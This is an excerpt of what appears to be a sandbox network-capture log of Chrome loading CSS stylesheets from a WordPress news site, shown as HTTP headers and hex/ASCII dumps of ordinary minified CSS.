2024-03-28 08:51:00 UTC	714	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=157016 etag: W/"65f20630-26558" last-modified: Wed, 13 Mar 2024 20:01:52 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WYkXQOU5OFdVmYYI5oxnnGl2c8lBrSu4c7x14cUEJ9pmCF3NjviTaUl4wGiIvagj68oOkPfmaWUFh2pzrVmuC8QI9QR2TS2Q15ByVmY5F%2FNgSLFKifvGC8YkVq0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66033ebfb6fd7-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:00 UTC	655	IN	Data Raw: 37 63 65 39 0d 0a 3a 72 6f 6f 74 7b 2d 2d 74 64 5f 74 68 65 6d 65 5f 63 6f 6c 6f 72 3a 20 23 34 64 62 32 65 63 3b 2d 2d 74 64 5f 67 72 69 64 5f 62 6f 72 64 65 72 5f 63 6f 6c 6f 72 3a 20 23 65 64 65 64 65 64 3b 2d 2d 74 64 5f 62 6c 61 63 6b 3a 20 23 32 32 32 3b 2d 2d 74 64 5f 74 65 78 74 5f 63 6f 6c 6f 72 3a 20 23 31 31 31 7d 2e 6d 78 5f 69 6d 61 67 65 5f 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 7d 2e 74 64 2d 76 69 73 69 62 69 6c 69 74 79 2d 68 69 64 64 65 6e 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 63 6c 65 61 72 66 69 78 7b 2a 7a 6f 6f 6d 3a 31 7d 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 Data Ascii: 7ce9:root{--td_theme_color: #4db2ec;--td_grid_border_color: #ededed;--td_black: #222;--td_text_color: #111}.mx_image_background{background-color:#f2f2f2}.td-visibility-hidden{visibility:hidden}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:t
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 7d 61 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 61 3a 61 63 74 69 76 65 2c 61 3a 68 6f 76 65 72 7b 6f 75 74 6c 69 6e 65 3a 30 7d 61 62 62 72 5b 74 69 74 6c 65 5d 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 64 6f 74 74 65 64 7d 62 2c 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 66 6e 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 7d 6d 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 7d 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 7d 73 75 62 2c 73 75 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 Data Ascii: }a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertic
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 2e 33 35 65 6d 20 2e 36 32 35 65 6d 20 2e 37 35 65 6d 7d 6c 65 67 65 6e 64 7b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 74 65 78 74 61 72 65 61 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 6f 70 74 67 72 6f 75 70 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 3b 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 3a 30 7d 74 64 2c 74 68 7b 70 61 64 64 69 6e 67 3a 30 7d 2a 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 3a 62 65 66 6f 72 65 2c 2a 3a Data Ascii: dding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:before,*:
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 69 64 74 68 3a 63 61 6c 63 28 31 30 30 76 77 20 2b 20 31 70 78 29 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 76 63 5f 69 6e 6e 65 72 2e 61 62 73 6f 6c 75 74 65 5f 69 6e 6e 65 72 7b 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 31 39 70 78 29 7b 2e 76 63 5f 69 6e 6e 65 72 2e 61 62 73 6f 6c 75 74 65 5f 69 6e 6e 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 30 31 38 70 78 29 7b 2e 76 63 5f 69 6e 6e 65 72 2e 61 62 73 6f 6c 75 74 65 5f 69 6e 6e 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 34 70 Data Ascii: idth:calc(100vw + 1px)!important}}.vc_inner.absolute_inner{}@media(min-width:1019px){.vc_inner.absolute_inner{padding-left:20px;padding-right:20px}}@media(min-width:768px) and (max-width:1018px){.vc_inner.absolute_inner{padding-left:14px;padding-right:14p
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 2e 74 64 63 2d 72 6f 77 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 34 30 30 2c 2e 74 64 63 2d 72 6f 77 2d 63 6f 6d 70 6f 73 65 72 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 34 30 30 7b 77 69 64 74 68 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 34 34 30 70 78 7d 2e 74 64 63 2d 72 6f 77 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 34 30 30 3e 2e 74 64 2d 70 62 2d 72 6f 77 2c 2e 74 64 63 2d 72 6f 77 2d 63 6f 6d 70 6f 73 65 72 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 34 30 30 3e 2e 74 64 2d 70 62 2d 72 6f 77 7b 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 30 31 38 70 78 29 7b 2e 74 64 63 2d 72 6f 77 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 34 30 30 Data Ascii: .tdc-row.stretch_row_1400,.tdc-row-composer.stretch_row_1400{width:auto!important;max-width:1440px}.tdc-row.stretch_row_1400>.td-pb-row,.tdc-row-composer.stretch_row_1400>.td-pb-row{}@media(min-width:768px) and (max-width:1018px){.tdc-row.stretch_row_1400
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6f 72 74 61 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 36 34 38 70 78 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 2e 74 64 63 2d 72 6f 77 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 38 30 30 2c 2e 74 64 63 2d 72 6f 77 2d 63 6f 6d 70 6f 73 65 72 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 38 30 30 7b 77 69 64 74 68 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 38 34 30 70 78 7d 2e 74 64 63 2d 72 6f 77 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 38 30 30 3e 2e 74 64 2d 70 62 2d 72 6f 77 2c 2e 74 64 63 2d 72 6f 77 2d 63 6f 6d 70 6f 73 65 72 2e 73 74 72 65 74 63 68 5f 72 6f 77 5f 31 38 30 30 3e 2e 74 64 2d 70 62 2d 72 6f 77 7b 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 Data Ascii: ortant;max-width:1648px;left:0;right:0;margin:0 auto}.tdc-row.stretch_row_1800,.tdc-row-composer.stretch_row_1800{width:auto!important;max-width:1840px}.tdc-row.stretch_row_1800>.td-pb-row,.tdc-row-composer.stretch_row_1800>.td-pb-row{}@media(min-width:76
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6f 77 3a 62 65 66 6f 72 65 2c 2e 74 64 2d 70 62 2d 72 6f 77 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 27 27 7d 2e 74 64 2d 70 62 2d 72 6f 77 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 74 64 2d 62 6f 78 65 64 2d 6c 61 79 6f 75 74 20 2e 76 63 5f 72 6f 77 7b 77 69 64 74 68 3a 61 75 74 6f 3b 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 2e 74 64 2d 70 62 2d 72 6f 77 20 5b 63 6c 61 73 73 2a 3d 74 64 2d 70 62 2d 73 70 61 6e 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 Data Ascii: ow:before,.td-pb-row:after{display:table;content:''}.td-pb-row:after{clear:both}.td-boxed-layout .vc_row{width:auto;left:0;padding-left:0;padding-right:0}.td-pb-row [class*=td-pb-span]{display:block;min-height:1px;float:left;padding-right:24px;padding-lef
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6e 6e 65 72 2c 2e 76 63 5f 72 6f 77 2d 68 61 73 2d 66 69 6c 6c 2b 2e 76 63 5f 76 63 5f 72 6f 77 3e 2e 76 63 5f 72 6f 77 3e 2e 76 63 5f 76 63 5f 63 6f 6c 75 6d 6e 3e 2e 76 63 5f 63 6f 6c 75 6d 6e 5f 63 6f 6e 74 61 69 6e 65 72 3e 2e 76 63 5f 63 6f 6c 75 6d 6e 2d 69 6e 6e 65 72 2c 2e 76 63 5f 72 6f 77 2d 68 61 73 2d 66 69 6c 6c 2b 2e 76 63 5f 76 63 5f 72 6f 77 5f 69 6e 6e 65 72 3e 2e 76 63 5f 72 6f 77 3e 2e 76 63 5f 76 63 5f 63 6f 6c 75 6d 6e 5f 69 6e 6e 65 72 3e 2e 76 63 5f 63 6f 6c 75 6d 6e 5f 63 6f 6e 74 61 69 6e 65 72 3e 2e 76 63 5f 63 6f 6c 75 6d 6e 2d 69 6e 6e 65 72 2c 2e 76 63 5f 72 6f 77 2d 68 61 73 2d 66 69 6c 6c 3e 2e 76 63 5f 63 6f 6c 75 6d 6e 5f 63 6f 6e 74 61 69 6e 65 72 3e 2e 76 63 5f 63 6f 6c 75 6d 6e 2d 69 6e 6e 65 72 2c 2e 76 63 5f 72 6f 77 Data Ascii: nner,.vc_row-has-fill+.vc_vc_row>.vc_row>.vc_vc_column>.vc_column_container>.vc_column-inner,.vc_row-has-fill+.vc_vc_row_inner>.vc_row>.vc_vc_column_inner>.vc_column_container>.vc_column-inner,.vc_row-has-fill>.vc_column_container>.vc_column-inner,.vc_row
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6b 2d 73 70 61 6e 39 7b 77 69 64 74 68 3a 37 35 25 7d 2e 74 64 2d 62 6c 6f 63 6b 2d 73 70 61 6e 31 30 7b 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 64 2d 62 6c 6f 63 6b 2d 73 70 61 6e 31 31 7b 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 64 2d 62 6c 6f 63 6b 2d 73 70 61 6e 31 32 7b 77 69 64 74 68 3a 31 30 30 25 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 31 39 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 34 30 70 78 29 7b 2e 74 64 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 74 64 63 2d 72 6f 77 2c 2e 74 64 63 2d 72 6f 77 2d 63 6f 6d 70 6f 73 65 72 7b 77 69 64 74 68 3a 39 38 30 70 78 7d 2e 74 64 2d 70 62 2d 72 6f 77 2c 2e 74 64 2d 62 6c 6f 63 6b 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 72 69 67 68 Data Ascii: k-span9{width:75%}.td-block-span10{width:83.33333333%}.td-block-span11{width:91.66666667%}.td-block-span12{width:100%}@media(min-width:1019px) and (max-width:1140px){.td-container,.tdc-row,.tdc-row-composer{width:980px}.td-pb-row,.td-block-row{margin-righ
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 72 61 6e 73 70 61 72 65 6e 74 20 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 4d 42 41 4d 41 41 41 42 52 70 63 70 6b 41 41 41 41 44 31 42 4d 56 45 55 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 50 44 75 65 4e 41 41 41 41 42 58 52 53 54 6c 4d 47 41 68 51 51 43 79 45 64 2b 2b 38 41 41 41 41 55 53 55 52 42 56 41 6a 58 59 31 41 41 51 67 4d 67 64 41 42 43 43 42 41 41 51 51 41 54 36 41 46 52 42 50 48 63 57 67 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 29 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 62 6f 74 74 Data Ascii: ransparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAMBAMAAABRpcpkAAAAD1BMVEUAAAAAAAAAAAAAAAAAAABPDueNAAAABXRSTlMGAhQQCyEd++8AAAAUSURBVAjXY1AAQgMgdABCCBAAQQAT6AFRBPHcWgAAAABJRU5ErkJggg==);width:100%;height:12px;position:absolute;left:0;bott

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	572	OUT	GET /c/6.4.3/wp-includes/css/dist/block-library/style.min.css HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	521	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Content-Length: 110147 Connection: close Vary: Accept-Encoding Last-Modified: Wed, 24 Jan 2024 19:02:28 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:50:59 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 2 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:50:59 UTC	848	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 20 69 6d 67 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 Data Ascii: @charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-a
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 63 6b 2d 62 75 74 74 6f 6e 73 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 68 61 73 2d 63 75 73 74 6f 6d 2d 77 69 64 74 68 7b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 68 61 73 2d 63 75 73 74 6f 6d 2d 77 69 64 74 68 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 68 61 73 2d 63 75 73 74 6f 6d 2d 66 6f 6e 74 2d 73 69 7a 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 Data Ascii: ck-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-bu
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 69 73 2d 73 74 79 6c 65 2d 6f 75 74 6c 69 6e 65 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 2e 69 73 2d 73 74 79 6c 65 2d 6f 75 74 6c 69 6e 65 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 69 73 2d 73 74 79 6c 65 2d 6f 75 74 6c 69 6e 65 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7b 62 61 Data Ascii: .wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color){color:currentColor}.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background),.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background){ba
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 63 6b 2d 62 75 74 74 6f 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 6c 65 66 74 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 6c 65 66 74 2e 69 73 2d 76 65 72 74 69 63 61 6c 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 Data Ascii: ck-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-s
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 61 6c 65 6e 64 61 72 20 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 61 6c 65 6e 64 61 72 20 74 61 62 6c 65 3a 77 68 65 72 65 28 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 29 7b 63 6f 6c 6f 72 3a 23 34 30 34 36 34 64 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 61 6c 65 6e 64 61 72 20 74 61 62 6c 65 3a 77 68 65 72 65 28 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 29 20 74 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 61 6c 65 6e 64 61 72 20 74 61 62 6c 65 3a 77 68 65 72 65 28 3a 6e 6f 74 28 2e 68 61 73 Data Ascii: ion{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 3a 6e 6f 74 28 2e 69 73 2d 6e 6f 74 2d 73 74 61 63 6b 65 64 2d 6f 6e 2d 6d 6f 62 69 6c 65 29 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 7b 66 6c 65 78 2d 62 61 73 69 73 3a 30 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 3a 6e 6f 74 28 2e 69 73 2d 6e 6f 74 2d 73 74 61 63 6b 65 64 2d 6f 6e 2d 6d 6f 62 69 6c 65 29 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 5b 73 74 79 6c 65 2a 3d 66 6c 65 78 2d 62 61 73 69 73 5d 7b 66 6c 65 78 2d 67 72 6f 77 3a 30 7d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6e 6f 74 2d 73 74 61 63 6b 65 64 2d 6f 6e 2d 6d 6f 62 69 6c 65 7b 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 21 69 6d 70 6f 72 74 Data Ascii: .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!import
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 6d 6d 65 6e 74 6c 69 73 74 20 2e 63 6f 6d 6d 65 6e 74 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 2e 32 35 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 2e 32 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 6c 69 73 74 20 2e 63 6f 6d 6d 65 6e 74 20 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 38 3b 6d 61 72 67 69 6e 3a 31 65 6d 20 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 6c 69 73 74 20 2e 63 68 69 6c 64 72 65 6e 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e Data Ascii: mmentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 74 2d 63 6f 6f 6b 69 65 73 2d 63 6f 6e 73 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 33 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 72 65 70 6c 79 2d 74 69 74 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 72 65 70 6c 79 2d 74 69 74 6c 65 20 3a 77 68 65 72 65 28 73 6d 61 6c 6c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 2c 73 6d 61 6c 6c 65 72 29 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 